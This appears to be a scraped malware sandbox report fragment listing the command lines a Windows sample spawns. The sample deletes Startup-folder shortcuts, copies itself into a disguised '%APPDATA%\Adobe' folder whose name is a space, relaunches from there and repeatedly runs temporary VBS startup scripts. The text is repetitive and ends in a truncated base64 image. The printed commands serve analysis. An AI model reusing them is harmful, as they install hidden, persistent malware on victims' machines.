"C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&exit&" (UID: 00015175-00003636) Spawned process "cmd.exe" with commandline "/k @echo.&mkdir "%APPDATA%\Adobe\3MRYK\ \"&echo.>>"%APPDATA%\Adobe\3MRYK\update :)"&echo.>>"%APPDATA%\Adobe\3MRYK\ \update :)"&taskkill /f /im mscr.exe© "C:\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe" "%APPDATA%\Adobe\3MRYK\ \mscr.exe"&timeout /t 1 /nobreak>nul&del "C:\4f0cf4cde34bca0045670470920e6a6b5b8afca36a1e9320fefc5ab16148283e.exe"&start "" "%APPDATA%\Adobe\3MRYK\ \mscr.exe"&exit&" (UID: 00015176-00003640) Spawned process "taskkill.exe" with commandline "taskkill /f /im mscr.exe" (UID: 00015185-00003672) Spawned process "timeout.exe" with commandline "timeout /t 1 /nobreak" (UID: 00015197-00003656) Spawned process "mscr.exe" (UID: 00015331-00003724) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00016479-00002956) Spawned process "wscript.exe" with commandline ""%TEMP%\startup2788310.vbs"" (UID: 00016531-00002904) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00017009-00003004) Spawned process "wscript.exe" with commandline ""%TEMP%\startup3197659.vbs"" (UID: 00017032-00002832) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00017509-00003192) Spawned process "wscript.exe" with commandline ""%TEMP%\startup7597624.vbs"" (UID: 00017529-00003244) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00018039-00003260) Spawned process "wscript.exe" with commandline ""%TEMP%\startup9321933.vbs"" (UID: 00018059-00003292) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00018570-00003416) Spawned process "wscript.exe" with commandline ""%TEMP%\startup3330015.vbs"" (UID: 00018600-00003456) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00019077-00003532) Spawned process "wscript.exe" with commandline ""%TEMP%\startup196366.vbs"" (UID: 00019098-00002712) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00019610-00004052) Spawned process "wscript.exe" with commandline ""%TEMP%\startup2879488.vbs"" (UID: 00019628-00002896) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00020139-00003616) Spawned process "wscript.exe" with commandline ""%TEMP%\startup8192529.vbs"" (UID: 00020161-00003592) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00020672-00003608) Spawned process "wscript.exe" with commandline ""%TEMP%\startup7944398.vbs"" (UID: 00020693-00002776) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00021204-00000808) Spawned process "wscript.exe" with commandline ""%TEMP%\startup1295000.vbs"" (UID: 00021221-00003856) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00021734-00003832) Spawned process "wscript.exe" with commandline ""%TEMP%\startup3019309.vbs"" (UID: 00021757-00004068) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00022234-00003984) Spawned process "wscript.exe" with commandline ""%TEMP%\startup7419274.vbs"" (UID: 00022256-00003980) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00022767-00002236) Spawned process "wscript.exe" with commandline ""%TEMP%\startup7171143.vbs"" (UID: 00022790-00001748) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00023267-00002116) Spawned process "wscript.exe" with commandline ""%TEMP%\startup1581107.vbs"" (UID: 00023290-00000712) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00023799-00002572) Spawned process "wscript.exe" with commandline ""%TEMP%\startup1990457.vbs"" (UID: 00023824-00002428) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00024301-00002688) Spawned process "wscript.exe" with commandline ""%TEMP%\startup2144209.vbs"" (UID: 00024324-00002628) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00024801-00002736) Spawned process "wscript.exe" with commandline ""%TEMP%\startup6544173.vbs"" (UID: 00024825-00002784) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00025305-00003160) Spawned process "wscript.exe" with commandline ""%TEMP%\startup5382966.vbs"" (UID: 00025337-00002968) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00025815-00003332) Spawned process "wscript.exe" with commandline ""%TEMP%\startup276877.vbs"" (UID: 00025847-00003792) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00026326-00003348) Spawned process "wscript.exe" with commandline ""%TEMP%\startup7434561.vbs"" (UID: 00026351-00003364) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00026827-00003392) Spawned process "wscript.exe" with commandline ""%TEMP%\startup8245793.vbs"" (UID: 00026845-00003460) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00027355-00002052) Spawned process "wscript.exe" with commandline ""%TEMP%\startup1295063.vbs"" (UID: 00027367-00003524) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00027878-00003044) Spawned process "wscript.exe" with commandline ""%TEMP%\startup562985.vbs"" (UID: 00027901-00002232) Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&exit&" (UID: 00028378-00003688) Spawned process "wscript.exe" with commandline ""%TEMP%\startup2031697.vbs"" (UID: 00028398-00003692)96:T16d5,Spawned process "cmd.exe" with commandline "/k @echo.&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\PSPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&exit&" (UID: 00015175-00003636)97:T1756,Spawned process "cmd.exe" with commandline "/k @echo.&del "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\3MRYK*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y93MR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MRN93*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\93MJN*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\JN93A*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qAJN9*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NdqAJ*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AJHdq*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\dqAYH*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YHdqD*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1DYHd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\nBdAA*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AASBd*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BdALS*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LSBdR*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8RLSB*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SK8RL*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RLYK8*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\K8RRY*.lnk"&del "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RYK8M*.lnk"&exit&"98:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jr